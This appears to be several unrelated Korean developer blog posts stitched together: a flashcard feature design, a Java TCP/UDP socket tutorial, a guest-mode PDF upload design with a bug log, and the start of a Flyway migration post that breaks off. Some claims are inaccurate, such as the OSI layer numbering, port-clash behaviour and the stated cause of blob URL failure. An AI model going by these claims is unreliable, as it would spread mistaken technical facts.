사수에게 다음과 같은 요청을 받았다.

"다양한 플래시카드 앱을 체험해보고, UnivAI에 맞는 플래시카드 기능을 만들어주세요."

1️⃣ 문제 정의

여러 플래시카드 앱(Anki, Quizlet, RemNote 등)을 직접 체험하면서 정리한 질문들:

• 기존 퀴즈 기능과 차별점은 무엇인가? — 퀴즈는 채점, 플래시카드는 자기 평가(알아요/몰라요)
• 카드 유형은 어떻게 나눌 것인가? — 용어→설명? 설명→용어? 둘 다?
• 학습 흐름은? — 생성 → 학습 → 결과 분석 → 복습
• AI 튜터와 어떻게 연동할 것인가? — 카드 내용 기반 질문 전달

2️⃣ 현황 파악 — 기존 퀴즈 탭 구조 분석

플래시카드 탭을 새로 만들기 전에, 기존 퀴즈 탭의 아키텍처를 분석했다.

결론: 퀴즈 탭 패턴을 최대한 미러링하면 일관성 유지 + 개발 속도 향상

3️⃣ 설계 결정

결정 1: 카드 유형

→ 두 유형 혼합. 앞면에 용어→뒷면에 설명, 앞면에 설명→뒷면에 용어를 균등 배합하기로 했다.

결정 2: 학습 플로우

결정 3: 카드 인터랙션

→ CSS 3D 카드 뒤집기 + 키보드 지원

• 스페이스바/클릭: 카드 뒤집기
• ← 화살표: 몰라요 (Don't Know)
• → 화살표: 알아요 (Know)

결정 4: 레이아웃 — AI 튜터 연동

카드에 "AI 튜터에게 질문" 버튼을 두어, 카드 앞/뒷면 내용을 AI 튜터에 자동 전달하도록 설계했다.

결정 5: 스트리밍 vs 일괄 생성

→ SSE 스트리밍. 기존 퀴즈와 동일한 패턴이다. 백엔드에서 Gemini generateContentStream으로 JSON 청크를 전송하고, 프론트엔드에서 증분 파싱하여 카드가 하나씩 나타나도록 구현했다.

결정 6: 카드 수와 제한

4️⃣ 아키텍처

프론트엔드                            백엔드 (Firebase Functions)
──────────────────────────────────    ──────────────────────────────
FlashCardView (오케스트레이터)
  ├─ FlashCardHome (홈/목록)          generateFlashcardsWithGemini
  ├─ FlashCardStudy (학습)              ├─ PDF → base64 → Gemini API
  ├─ FlashCardResults (결과)            └─ SSE 스트리밍 응답
  ├─ FlashCardCard (카드 UI)
  └─ CustomizeFlashCardModal          submitFlashCardResults
                                        └─ Gemini 기반 학습 분석
FlashCardService (API 클라이언트)
  ├─ SSE 스트리밍 + 증분 JSON 파서
  └─ 결과 제출

FirestoreService (데이터 영속화)
  └─ flashcard_papers 서브컬렉션

5️⃣ 엣지 케이스 검증

6️⃣ 퀴즈 vs 플래시카드 비교

7️⃣ 회고

기존 패턴을 미러링한 이유

퀴즈 탭은 이미 검증된 구조(SSE 스트리밍, Firestore CRUD, 결과 분석)였다. 동일 패턴을 사용하면 코드 일관성을 유지할 수 있고, 리뷰어가 이해하기 쉬우며, CSS 클래스 재활용으로 UI 통일성도 확보할 수 있었다.

로컬 테스트에서 발견한 이슈

• Firestore 권한 오류 — flashcard_papers 컬렉션 보안 규칙 미배포 → Firestore 저장을 non-blocking 처리
• Functions 미배포 — 로컬 dev 서버에서 에뮬레이터 URL 호출 시 에뮬레이터 미실행 → 에러 메시지 표시 UI 추가
• UI 정렬 — 초기 컨테이너 구조가 퀴즈와 달라 가로 폭이 넓었음 → 퀴즈와 동일한 컨테이너 구조로 변경

배포 시 필요한 작업

• Firebase Functions 배포: generateFlashcardsWithGemini, submitFlashCardResults
• Firestore 보안 규칙에 flashcard_papers 컬렉션 추가
• (선택) SharedAICache에 플래시카드 데이터 연동

📌 결론

기존 퀴즈 탭의 검증된 아키텍처를 기반으로 플래시카드 기능을 설계함으로써, 일관된 코드 패턴과 UX를 유지하면서도 플래시카드 고유의 학습 경험(카드 뒤집기, 자기 평가, 복습)을 제공할 수 있었다. 로컬 테스트에서 발견한 Firestore/Functions 이슈는 non-blocking 처리와 에러 UI로 대응하고, 실제 동작은 함수 배포 후 검증 예정이다.

Socket과 TCP/UDP 소켓의 기본 구조를 알아봅니다.

1. Socket이란?

소켓(Socket)은 네트워크를 통한 입출력을 위해 사용자에게 필요한 수단을 제공하는 응용 프로토콜 인터페이스입니다.

인터페이스 == Socket

• 인터페이스란 서로 다른 두 개의 시스템, 장치 사이에서 정보나 신호를 주고받는 경우의 접점이나 경계면을 의미합니다.
• 네트워크에서의 인터페이스가 바로 Socket입니다.
• OSI 모델에서 Transport Layer(4계층) 와 Application Layer(5계층) 사이의 연결 역할을 합니다.
• 소켓을 활용한 네트워크 응용 프로그램을 통해 네트워크상에서 데이터를 송/수신합니다.

네트워크 입/출력을 위한 5가지 요소

💡 포트 번호는 네트워크에서 프로세스들의 식별자라고 생각하면 됩니다.

2. 포트(Port)

호스트 내에 실행되고 있는 프로세스(Process)를 구분 짓기 위한 16비트의 논리적 할당입니다.

• 값의 범위: 0 ~ 65535
• 통신의 주체는 프로세스와 프로세스 사이에서 이루어집니다.

포트 번호가 겹친다면?

1. 나중에 실행한 프로세스가 죽을 수 있음
2. 보통은 프로세스 둘 다 죽음

Well-Known Port

TCP 또는 UDP에서 IANA에 의해 할당된 0번 ~ 1023번까지의 포트입니다.

3. 데이터의 전송 순서 (Endian)

Big Endian vs Little Endian

호스트 바이트 순서 vs 네트워크 바이트 순서

• 호스트 바이트 순서: CPU별 데이터 저장 방식 (대부분 Little Endian - x86, AMD, Intel 계열)
• 네트워크 바이트 순서: 통일된 데이터 송수신 기준 (Big Endian 사용)

⚠️ 네트워크 통신 시 바이트 순서 변환이 필요합니다!

4. 연결 지향형 소켓 (TCP 소켓, SOCK_STREAM)

SOCK_STREAM 소켓 특성

• 스트림 방식의 소켓 생성 (UNIX 파이프 개념과 동일)
• 메시지 경계가 유지되지 않음: 속도 조절, 네트워크 흐름 조절에 의해 서로 다른 메시지 크기를 가질 수 있음
• 전달된 순서대로 수신됨 (순서 보장)
• 전송된 모든 데이터는 에러 없이 도달 (신뢰성 보장)
• 세부 기능 조절은 TCP(4계층)에서 이루어짐

💡 Socket의 역할: Application(5계층)에서 TCP로 보내달라고 Transport(4계층)에게 요청하기

5. TCP 소켓 프로그래밍 기본 구조

TCP Client가 n개 들어오면 Socket은 n+1개 존재합니다. (listen 소켓 1개 + 통신용 n개)

📌 TCP 통신 흐름

[Client]                              [Server]
   │                                     │
   │  socket() - 소켓 생성                 │  socket() - 소켓 생성
   │                                     │  bind() - IP/Port 바인딩
   │                                     │  listen() - 연결 대기
   │                                     │
   │ ─────── connect() ───────────────▶  │  accept() - 연결 수락
   │ ◀───── 3-way handshake ──────────▶  │  (새 소켓 생성)
   │                                     │
   │ ◀────── read/write ───────────────▶ │  (데이터 송수신)
   │                                     │
   │  close()                            │  close() (통신 소켓)
   │                                     │  close() (listen 소켓)

단계별 설명

1️⃣ Client 연결 준비 단계

• socket(): 소켓 생성
• address: 통신을 요청할 상대방(서버)의 주소 설정

2️⃣ Server 연결 준비 단계

• socket(): 소켓 생성
• address: 자신의 IP 주소와 Port 번호 설정 (누가 들어올지 모르니 내 정보만 설정)
• bind(): IP와 Port 번호를 OS에게 알려주는 절차 ⭐ 매우 중요!
• listen(): Client의 접속 요청을 대기하는 상태

3️⃣ 서비스 처리 단계

• connect(): Client가 listen 중인 Server에게 연결 요청
• accept(): Server가 새로운 소켓을 만들어 Client와 데이터 송수신 준비
• read()/write(): 양측 모두 데이터 송수신
  • read == receive
  • write == send
• close(): Client가 먼저 소켓 종료 → Server도 통신 소켓 종료

4️⃣ 서버 종료 단계

• close(): listen 소켓까지 종료

3-Way Handshaking

TCP 연결 수립 과정 (connect ~ accept 구간)

Client                    Server
   │                         │
   │ ──── SYN ─────────────▶ │
   │ ◀─── SYN + ACK ──────── │
   │ ──── ACK ─────────────▶ │
   │                         │
   │     연결 수립 완료          │

6. Java TCP 소켓 예제

TCP Client

// 1. 사용자 입력을 위한 BufferedReader 생성
BufferedReader inFromUser = new BufferedReader(new InputStreamReader(System.in));

// 2. 서버 연결 (hostname: 서버 IP, 6789: 포트 번호)
Socket clientSocket = new Socket("hostname", 6789);

// 3. 서버로 데이터 전송
DataOutputStream outToServer = new DataOutputStream(clientSocket.getOutputStream());
String sentence = inFromUser.readLine();
outToServer.writeBytes(sentence + '\n');

// 4. 서버로부터 응답 수신
BufferedReader inFromServer = new BufferedReader(
    new InputStreamReader(clientSocket.getInputStream()));
String modifiedSentence = inFromServer.readLine();

// 5. 소켓 종료
clientSocket.close();

TCP Server

// 1. ServerSocket 생성 및 바인딩 (포트 6789)
ServerSocket welcomeSocket = new ServerSocket(6789);

while (true) {
    // 2. 클라이언트 연결 대기 및 수락 (새 소켓 생성)
    Socket connectionSocket = welcomeSocket.accept();

    // 3. 클라이언트로부터 데이터 수신
    BufferedReader inFromClient = new BufferedReader(
        new InputStreamReader(connectionSocket.getInputStream()));
    String clientSentence = inFromClient.readLine();

    // 4. 대문자 변환 후 클라이언트에게 전송
    DataOutputStream outToClient = new DataOutputStream(
        connectionSocket.getOutputStream());
    String capitalizedSentence = clientSentence.toUpperCase() + '\n';
    outToClient.writeBytes(capitalizedSentence);
}

7. 비연결 지향형 소켓 (UDP 소켓, SOCK_DGRAM)

SOCK_DGRAM 소켓 특성

• 데이터그램 방식의 소켓 생성
• 개별적으로 주소가 쓰여진 패킷 단위 전송
• 비연결형 서비스

TCP vs UDP 비교

8. UDP 소켓 프로그래밍 기본 구조

[Client]                              [Server]
   │                                     │
   │  socket() - 소켓 생성                 │  socket() - 소켓 생성
   │                                     │  bind() - IP/Port 바인딩
   │                                     │
   │ ─────── sendto() ─────────────────▶ │  recvfrom()
   │ ◀────── recvfrom() ──────────────── │  sendto()
   │                                     │
   │  close()                            │  close()

💡 UDP는 connect(), accept()가 없습니다! 바로 데이터를 보내고 받습니다.

9. Java UDP 소켓 예제

UDP Client

// 1. DatagramSocket 생성
DatagramSocket clientSocket = new DatagramSocket();

// 2. 서버 주소 설정
InetAddress IPAddress = InetAddress.getByName("hostname");

// 3. 전송할 데이터 준비
byte[] sendData = new byte[1024];
String sentence = inFromUser.readLine();
sendData = sentence.getBytes();

// 4. 패킷 생성 및 전송 (데이터, 길이, IP, 포트)
DatagramPacket sendPacket = new DatagramPacket(
    sendData, sendData.length, IPAddress, 9876);
clientSocket.send(sendPacket);

// 5. 응답 수신
byte[] receiveData = new byte[1024];
DatagramPacket receivePacket = new DatagramPacket(receiveData, receiveData.length);
clientSocket.receive(receivePacket);

// 6. 소켓 종료
clientSocket.close();

UDP Server

// 1. DatagramSocket 생성 및 포트 바인딩
DatagramSocket serverSocket = new DatagramSocket(9876);

// 2. 수신 버퍼 준비 (경계 단위 고정)
byte[] receiveData = new byte[1024];
byte[] sendData = new byte[1024];

while (true) {
    // 3. 데이터 수신 대기
    DatagramPacket receivePacket = new DatagramPacket(receiveData, receiveData.length);
    serverSocket.receive(receivePacket);  // 연결 없이 바로 receive

    String sentence = new String(receivePacket.getData());

    // 4. 클라이언트 정보 추출
    InetAddress IPAddress = receivePacket.getAddress();
    int port = receivePacket.getPort();

    // 5. 대문자 변환 후 응답 전송
    String capitalizedSentence = sentence.toUpperCase();
    sendData = capitalizedSentence.getBytes();

    DatagramPacket sendPacket = new DatagramPacket(
        sendData, sendData.length, IPAddress, port);
    serverSocket.send(sendPacket);
}

📚 핵심 정리

🔗 참고

• Oracle Java Socket Documentation
• TCP/IP 소켓 프로그래밍![]

2. 아키텍처

┌─────────────────────────────────────────────────────────────────┐
│                        클라이언트 (React)                          │
├─────────────────────────────────────────────────────────────────┤
│  ┌──────────────┐    ┌──────────────┐    ┌──────────────┐       │
│  │  PDFManager  │    │  PDFViewer   │    │  AuthContext │       │
│  │  (파일 목록)    │   │  (PDF 표시)    │    │  (인증 관리)   │       │
│  └──────┬───────┘    └──────┬───────┘    └──────┬───────┘       │
│         │    files-updated  │                   │               │
│         │◄──────────────────┼───────────────────┤               │
│  ┌──────▼───────────────────▼───────────────────▼───────┐       │
│  │                  DatabaseService                     │       │
│  │            (IndexedDB CRUD 함수)                      │       │
│  └──────────────────────┬───────────────────────────────┘       │
└─────────────────────────┼───────────────────────────────────────┘
                          │
                          ▼
              ┌───────────────────────┐
              │      IndexedDB        │
              │   (guest_pdfs store)  │
              └───────────────────────┘
                          │ 로그인 시 업로드
                          ▼
┌─────────────────────────────────────────────────────────────────┐
│                        Firebase                                 │
│  ┌─────────────────┐         ┌─────────────────┐                │
│  │ Firebase Storage│         │    Firestore    │                │
│  │   (PDF 파일)     │         │   (메타데이터)     │                │
│  └─────────────────┘         └─────────────────┘                │
└─────────────────────────────────────────────────────────────────┘

3. 데이터 구조

GuestPdfData (IndexedDB)

interface GuestPdfData {
  id: string;              // "guest_{timestamp}_{random}" 형식
  fileName: string;        // 원본 파일명
  pdfBase64: string;       // PDF 데이터 (base64 인코딩)
  pageCount: number;       // 총 페이지 수
  createdAt: Date;         // 생성 시간
  uploadedToUid: string | null;  // 업로드된 사용자 UID (null = 미업로드)
}

Firestore 문서 구조 (저장 후)

// users/{uid}/pdfs/{docId}
{
  fileName: string;
  downloadUrl: string;     // Firebase Storage URL
  pageCount: number;
  createdAt: Timestamp;
  fileSize: number;
}

썸네일 캐시 (IndexedDB)

// 캐시 키: "guest-{guestPdfId}"
{
  url: string;             // base64 이미지 데이터
  isLandscape: boolean;    // 가로/세로 방향
  timestamp: number;       // 캐시 생성 시간
}

4. 주요 컴포넌트

5. 이벤트 흐름

5-1. 비회원 PDF 업로드 흐름

사용자 액션          컴포넌트              처리
─────────────────────────────────────────────────────
PDF 파일 선택   →   PDFManager        →   파일 읽기 (FileReader)
                        ↓
                   DatabaseService    →   IndexedDB에 base64 저장
                        ↓
                   sessionStorage     →   guest PDF ID 저장
                        ↓
                   navigate()         →   /pdf/guest 페이지로 이동
                        ↓
                   PDFViewer          →   IndexedDB에서 PDF 로드 및 표시

5-2. 로그인 후 저장 흐름

사용자 액션          컴포넌트              처리
─────────────────────────────────────────────────────
로그인 완료     →   AuthContext       →   onAuthStateChanged 감지
                        ↓
                   DatabaseService    →   getUnuploadedGuestPdfs() 호출
                        ↓
                   GuestPdfUploadModal →  모달 표시 (z-index: 13000)
                        ↓
"저장" 클릭     →   AuthContext       →   base64 → Blob 변환
                        ↓
                   Firebase Storage   →   uploadBytes() 실행
                        ↓
                   Firestore          →   메타데이터 문서 생성
                        ↓
                   DatabaseService    →   IndexedDB에서 삭제
                        ↓
                   thumbnailCache     →   썸네일 캐시 삭제
                        ↓
                   CustomEvent        →   "files-updated" 발생
                        ↓
                   PDFManager         →   파일 목록 새로고침

5-3. 삭제 흐름

"삭제" 클릭     →   AuthContext       →   deleteGuestPdf() 호출
                        ↓
                   thumbnailCache     →   deleteThumbnailFromIndexedDB()
                        ↓
                   모달 닫기          →   setShowGuestPdfModal(false)

6. 변경된 파일 목록

7. 기술적 결정 이유

IndexedDB 선택 이유

• localStorage는 5MB 제한으로 PDF 저장이 불가능
• IndexedDB는 수백 MB까지 저장 가능
• 브라우저 종료 후에도 데이터가 유지됨 (시크릿 모드 제외)

Base64 인코딩 사용 이유

• IndexedDB에 바이너리를 직접 저장할 수 있지만, Firebase 업로드 시 일관된 형식이 필요
• 썸네일 생성 시 PDF.js가 base64 데이터를 직접 처리 가능

Custom Event (files-updated) 사용 이유

• AuthContext와 PDFManager는 직접적인 부모-자식 관계가 아님
• props drilling 없이 컴포넌트 간 통신이 필요
• 저장 완료 후 파일 목록을 즉시 갱신해야 함

z-index 계층 구조

모달 오버레이: 13000 (최상위)
사이드바: 12000
사이드바 오버레이: 11999
PDF 뷰어: 11000

8. 어려웠던 점과 해결 방법

문제 1: 게스트 PDF 클릭 시 "체험용 파일 정보가 없습니다" 에러

원인: sessionStorage에 ID가 저장되지만 새로고침 후 null이 됨

해결: PDFViewer.tsx에서 ID가 null일 때 IndexedDB에서 첫 번째 미업로드 PDF를 폴백으로 로드

if (!pdfIdFromSession) {
  const guestPdfs = await getUnuploadedGuestPdfs();
  if (guestPdfs.length > 0) {
    guestPdfRef.current = guestPdfs[0];
  }
}

문제 2: 모달이 사이드바 뒤에 숨음

원인: 모달 z-index(10000)가 사이드바 z-index(12000)보다 낮음

해결: 모달 z-index를 13000으로 상향 조정

문제 3: 저장 후 파일 목록에 즉시 표시되지 않음

원인: PDFManager가 Firebase 저장 완료를 알 수 없음

해결: Custom Event를 발생시키고 PDFManager에서 리스너로 loadMoreFiles() 호출

// AuthContext에서 저장 완료 후
window.dispatchEvent(new CustomEvent("files-updated"));

// PDFManager에서 수신
useEffect(() => {
  const handleFilesUpdated = () => loadMoreFiles(true);
  window.addEventListener("files-updated", handleFilesUpdated);
  return () => window.removeEventListener("files-updated", handleFilesUpdated);
}, []);

문제 4: 삭제 시 썸네일 캐시가 남아있음

원인: IndexedDB 데이터만 삭제하고 썸네일 캐시는 그대로 유지됨

해결: deleteThumbnailFromIndexedDB를 함께 호출

await deleteGuestPdf(guestPdfData.id);
await deleteThumbnailFromIndexedDB(`guest-${guestPdfData.id}`);

9. 핵심 코드 스니펫

IndexedDB 저장 (DatabaseService.ts)

export const saveGuestPdf = async (data: Omit<GuestPdfData, "id" | "createdAt">): Promise<string> => {
  const db = await openGuestPdfDB();
  const id = `guest_${Date.now()}_${Math.random().toString(36).substr(2, 9)}`;
  const guestPdf: GuestPdfData = {
    ...data,
    id,
    createdAt: new Date(),
    uploadedToUid: null,
  };
  await db.put(GUEST_PDF_STORE, guestPdf);
  return id;
};

Firebase 업로드 및 이벤트 발생 (AuthContext.tsx)

const handleGuestPdfSave = async () => {
  const blob = base64ToBlob(guestPdfData.pdfBase64, "application/pdf");
  const storageRef = ref(storage, `users/${user.uid}/pdfs/${fileName}`);
  await uploadBytes(storageRef, blob);
  const downloadUrl = await getDownloadURL(storageRef);

  await addDoc(collection(db, "users", user.uid, "pdfs"), {
    fileName,
    downloadUrl,
    createdAt: serverTimestamp(),
  });

  await deleteGuestPdf(guestPdfData.id);
  await deleteThumbnailFromIndexedDB(`guest-${guestPdfData.id}`);
  window.dispatchEvent(new CustomEvent("files-updated"));
};

파일 목록 새로고침 리스너 (PDFManager.tsx)

useEffect(() => {
  const handleFilesUpdated = () => loadMoreFiles(true);
  window.addEventListener("files-updated", handleFilesUpdated);
  return () => window.removeEventListener("files-updated", handleFilesUpdated);
}, []);

10. 테스트 시나리오

사수 요청사항:

"비로그인에서 PDF 1회 체험 후 로그인하면, 그 PDF가 자동으로 계정에 업로드되도록 해주세요. 단, 로그아웃 후 다른 계정으로 로그인하는 경우 등 예외 상황에서 버그 안 나게 잘 고려해주세요."

1️⃣ 문제 정의

요청을 받자마자 바로 코드를 작성하지 않고, 먼저 질문들을 정리했다:

1. "로컬 내용"이 정확히 무엇인가? - PDF 원본? AI 생성 결과? 대화 기록?
2. "자동 업로드"의 범위는? - 로그인 즉시? 사용자 확인 후?
3. "다른 계정으로 로그인"이 왜 문제인가? - A 사용자 데이터가 B에게 넘어가면 안 됨 → 데이터 "소유권" 개념 필요

2️⃣ 현황 파악

코드 구현 전 현재 시스템 동작 방식 파악:

발견한 문제점: PDF 원본이 영구 저장되지 않음

FileUpload: sessionStorage에 저장
↓
PDFViewer: 읽은 후 삭제
↓
결과: blob URL만 메모리에 존재 → 새로고침하면 사라짐
→ 로그인 시 업로드하려 해도 원본이 없는 상황

3️⃣ 설계 결정

결정 1: 저장 대상 범위

결정: PDF만 저장 - AI 결과는 버튼 한 번으로 재생성 가능, 비회원 1회 체험에서 대화를 많이 하지 않음

결정 2: 저장 위치

결정: IndexedDB - PDF 파일은 용량이 커서 localStorage 부적합, 브라우저 닫아도 유지되어야 함

결정 3: 업로드 방식

사수 의견: 자동 업로드가 UX상 더 매끄럽다

최종 결정: 확인 모달 (자율적 판단) - 계정 전환 시 안전, 실패 시 재시도 안내 가능, 사용자가 데이터 저장 위치 인지 가능

4️⃣ 엣지 케이스 검증

5️⃣ 회고

바로 코드 작성하지 않은 이유

• 요구사항이 모호했다 - "로컬 내용"의 범위, "예외 상황"이 구체적이지 않음
• 현재 시스템을 모르면 설계할 수 없다 - 기존 캐시 구조 파악 필요
• 단순해 보이는 기능에 숨은 복잡성 - 계정 전환/실패/만료 등 고려사항

적용한 원칙

📌 결론

좋은 엔지니어는 코드를 잘 짜는 사람이 아니라, 문제를 잘 정의하고 다양한 상황을 고려하는 사람이다.

작업 기간: 2026.01.15 ~ 2026.01.23 (약 8일)

변경 규모: 27개 파일, +1,579줄 / -259줄

🔴 버그 1: 게스트 모드 PDF가 열리지 않음

증상

• 비로그인 상태에서 PDF 파일 선택 후 /pdf/guest 페이지로 이동하면 빈 화면
• 콘솔에 "Failed to load PDF" 또는 "체험용 파일 정보가 없습니다" 에러

디버깅 과정

1. 처음엔 라우팅 문제로 의심 → RouteGuard에서 guest 경로 예외 처리 추가
2. 여전히 안됨 → URL 파라미터 확인 → blob URL이 이상하게 깨져있음
3. URL.createObjectURL() 반환값 확인 → FileUpload에서는 정상
4. navigate 후 PDFViewer에서 확인 → blob URL이 무효화됨

근본 원인

URL.createObjectURL()로 생성한 blob URL은 해당 Document 컨텍스트에서만 유효.

React Router의 navigate()로 페이지 이동 시 Document 컨텍스트가 변경되어 blob URL이 무효화됨.

해결 방법

1. FileUpload에서 PDF를 base64로 변환하여 sessionStorage에 저장
2. PDFViewer에서 sessionStorage에서 읽어 다시 blob URL로 변환
3. 로드 성공 후 sessionStorage 정리

코드 변경

FileUpload.tsx

// Before: blob URL을 직접 전달
const fileUrl = URL.createObjectURL(file);
navigate(`/pdf/guest?url=${encodeURIComponent(fileUrl)}`);

// After: base64로 변환 후 sessionStorage에 저장
const reader = new FileReader();
reader.onload = () => {
  sessionStorage.setItem("guest_pdf_data", reader.result as string);
  sessionStorage.setItem("guest_pdf_name", file.name);
  navigate("/pdf/guest");
};
reader.readAsDataURL(file);

PDFViewer.tsx

// sessionStorage에서 복원
const guestPdfData = sessionStorage.getItem("guest_pdf_data");
const byteString = atob(guestPdfData.split(',')[1]);
// ... Uint8Array로 변환 후 Blob 생성
const blob = new Blob([ab], { type: mimeType });
const blobUrl = URL.createObjectURL(blob);

💡 교훈

• blob URL은 생성된 페이지에서만 유효하다
• SPA에서 페이지 간 대용량 데이터 전달 시 sessionStorage 또는 IndexedDB 활용

🔴 버그 2: 올가미(스크린샷) 캡처 영역 불일치

증상

• 사용자가 선택한 영역과 실제 캡처된 이미지가 다름
• 특히 스크롤된 상태에서 위치가 크게 어긋남
• PDF 페이지 부분이 하얗게 나오거나 잘못된 위치가 캡처됨

디버깅 과정

1. html2canvas 옵션 문제로 의심 → scale, useCORS 등 조정 → 부분 개선
2. 여전히 위치 불일치 → 좌표 계산 로직 확인
3. position: absolute + getBoundingClientRect() 조합 문제 발견
4. iframe 내부 PDF.js canvas 접근 시 cross-origin 이슈 확인

근본 원인

• 좌표 체계 혼란: absolute 포지션은 offsetParent 기준, getBoundingClientRect()는 viewport 기준
• 스크롤 미반영: html2canvas에 스크롤 오프셋 전달 안 함
• iframe canvas 추출 실패: PDF.js가 iframe 내부에서 렌더링되어 canvas 접근 제한

해결 방법

1. 오버레이 이미지를 position: fixed로 변경 (viewport 기준 통일)
2. html2canvas에 window.scrollX/Y 추가
3. PDF canvas 직접 crop 방식 추가: iframe 내 canvas를 미리 이미지로 변환 → 선택 영역만 잘라내기

코드 변경

ScreenshotSelector.tsx

// Before
img.style.position = 'absolute';
img.style.left = `${absoluteLeft}px`;
img.style.top = `${absoluteTop}px`;

// After
img.style.position = 'fixed';
img.style.left = `${canvasRect.left}px`;  // viewport 기준
img.style.top = `${canvasRect.top}px`;

// 직접 canvas crop 로직 추가
if (hasCanvasSnapshots) {
  const outputCanvas = document.createElement('canvas');
  ctx.drawImage(
    sourceImg,
    relativeX * scaleX, relativeY * scaleY,  // 소스 좌표
    cropWidth * scaleX, cropHeight * scaleY,  // 소스 크기
    0, 0, outputCanvas.width, outputCanvas.height  // 대상
  );
  onCapture(outputCanvas.toDataURL('image/png', 1.0));
  return;
}

// html2canvas fallback
const canvas = await html2canvas(document.body, {
  x: left + window.scrollX,  // 스크롤 위치 추가
  y: top + window.scrollY,
  // ...
});

💡 교훈

• 좌표 체계(absolute vs fixed vs viewport)를 명확히 구분해야 함
• iframe 내부 요소는 직접 접근이 제한될 수 있으므로 우회 방법 필요
• html2canvas는 만능이 아님 → 직접 canvas 조작이 더 정확할 수 있음

🔴 버그 3: 게스트 모드에서 AI 기능 전부 실패

증상

• 게스트 모드에서 PDF는 정상 로드되지만 요약/개념/암기 생성 시 에러
• 네트워크 탭에서 Firebase Function 호출은 성공하지만 백엔드에서 PDF fetch 실패

디버깅 과정

1. 프론트엔드 요청 확인 → pdfUrl에 blob URL이 전달됨
2. 백엔드 로그 확인 → "fetch failed" 에러
3. blob URL을 서버에서 fetch 시도 → 불가능 (브라우저 로컬 리소스)

근본 원인

blob: URL은 브라우저 메모리에만 존재하는 리소스.

백엔드(Firebase Functions)에서는 이 URL에 접근 불가.

해결 방법

게스트 모드에서는:

1. 프론트엔드에서 PDF.js로 텍스트를 직접 추출
2. pdfUrl 대신 transcript 파라미터로 백엔드에 전송
3. 백엔드에서 transcript 모드 지원 추가

코드 변경

ConceptView.tsx / MemorizeView.tsx

// blob URL 감지 시 텍스트 추출 모드로 전환
if ((fileId === 'guest' || !currentUser) && urlToUse.startsWith('blob:')) {
  console.log("[ConceptView] Guest mode: extracting text from blob URL");
  const extractedText = await extractTextFromPdf(urlToUse);
  // pdfUrl 대신 transcript로 전송
  await conceptService.extractConcepts(extractedText, { isTranscript: true });
}

functions/index.ts

// transcript 파라미터 지원 추가
const { pdfUrl, transcript, pageRanges, ... } = req.body;

if (!pdfUrl && !transcript) {
  res.status(400).send("PDF URL 또는 transcript가 필요합니다.");
  return;
}

// Transcript 모드 처리
if (transcript) {
  const stream = await extractConceptsWithGeminiService(
    null,  // PDF base64 없음
    language,
    languageInstruction,
    transcript,  // 텍스트 직접 전달
    customPrompt
  );
  // ... 스트리밍 응답
}

💡 교훈

• 클라이언트-서버 간 리소스 공유 방식을 명확히 설계해야 함
• blob URL은 클라이언트 전용, 서버 전송 시 base64 또는 텍스트 변환 필요

🔴 버그 4: transcript + pageRanges 파라미터 충돌

증상

• 게스트 모드에서 페이지 범위 지정 시 400 에러
• "페이지 범위는 transcript와 함께 사용할 수 없습니다" 메시지

근본 원인

• 프론트엔드에서 transcript 모드임에도 pageRanges를 함께 전송
• 백엔드에서 유효성 검사 추가 후 발생

해결 방법

1. 백엔드에 명확한 유효성 검사 추가 (transcript + pageRanges 조합 거부)
2. 프론트엔드에서 transcript 모드일 때 pageRanges 전송 안 함
3. 게스트 암기 기능은 전체 PDF로 자동 생성 (페이지 범위 옵션 제거)

코드 변경

ConceptService.ts / MemorizeService.ts

// URL이면 pdfUrl + pageRanges, 아니면 transcript만
if (isUrl) {
  requestBody.pdfUrl = pdfUrl;
  requestBody.pageRanges = options?.pageRanges || null;
} else {
  requestBody.transcript = pdfUrl;  // 추출된 텍스트
  // transcript 모드에서는 pageRanges를 전송하지 않음
}

MemorizeView.tsx

// 게스트 모드: 페이지 범위 옵션 없이 바로 전체 생성
if (fileId === "guest") {
  setShowOptions(false);
  generateMemorize();  // pageRanges 없이 호출
}

🔴 버그 5: 캡처 이미지가 채팅창 미리보기에 안 나타남

증상

• 올가미로 이미지 캡처 후 채팅 입력창에 미리보기 이미지가 안 보임
• 콘솔에 에러 없음, 캡처 자체는 성공

디버깅 과정

1. onCapture 콜백 호출 확인 → 정상
2. capturedImage prop 전달 확인 → 정상
3. setSelectedImages 호출 확인 → 호출됨
4. 상태 업데이트 후 값 확인 → 이전 값 참조 (stale closure)

근본 원인

React의 stale closure 문제.

useCallback 내부에서 selectedImages 상태를 직접 참조하면 클로저에 캡처된 시점의 값을 사용.

해결 방법

1. 함수형 업데이트 사용: setSelectedImages(prev => [...prev, file])
2. useCallback 의존성 배열 정리
3. 부모 컴포넌트에 onCapturedImageProcessed 콜백 추가하여 capturedImage 초기화

코드 변경

GeminiChatView.tsx

// Before: stale closure 발생
const handleScreenshotCapture = (imageData: string) => {
  setSelectedImages([...selectedImages, file]);  // selectedImages가 오래된 값
};

// After: 함수형 업데이트로 최신 상태 보장
const handleScreenshotCapture = useCallback((imageData: string) => {
  setSelectedImages(prev => [...prev, file]);
  setImagePreviews(prev => [...prev, imageData]);

  // 부모에게 처리 완료 알림
  if (onCapturedImageProcessed) {
    onCapturedImageProcessed();
  }
}, [onCapturedImageProcessed]);

💡 교훈

• React에서 이벤트 핸들러 내 상태 업데이트는 함수형 업데이트 사용
• useCallback 의존성 배열을 명확히 관리

📊 버그 요약 테이블

💡 이번 작업에서 얻은 인사이트

1. blob URL의 한계를 명확히 인지

• 페이지 이동 시 무효화됨
• 서버에서 접근 불가
• 대안: sessionStorage, IndexedDB, base64

2. 좌표 계산은 기준을 통일

• absolute vs fixed vs viewport
• 스크롤 오프셋 항상 고려

3. 게스트 모드는 별도 데이터 플로우 설계 필요

• 로그인 유저와 완전히 다른 경로
• 클라이언트 사이드 처리 필수

4. React 상태 업데이트의 비동기성 주의

• 함수형 업데이트 습관화
• useCallback 의존성 관리

Flyway 시리즈 7편: 로컬 환경에서 마이그레이션 테스트까지

📌 문제 상황

Eatssu 프로젝트에서 Dev DB와 Prod DB의 스키마가 서로 달랐다.

기존에 ddl-auto: update를 사용하고 있었는데, 이 방식은 Entity 변경 시 자동으로 DDL을 생성하지만 환경마다 다르게 적용될 수 있다.

발견된 주요 차이점

→ Entity는 하나인데, 실제 DB는 제각각인 상황이었다.

🎯 목표

1. Entity를 Single Source of Truth로 삼아 정답 DDL 확정
2. Dev와 Prod를 동일한 스키마로 통일
3. Flyway로 DB 버전 관리 체계 구축
4. 안전하게 로컬에서 먼저 테스트 후 실제 DB에 적용

📋 선배의 조언

마이그레이션 작업 전 선배에게 조언을 구했다.

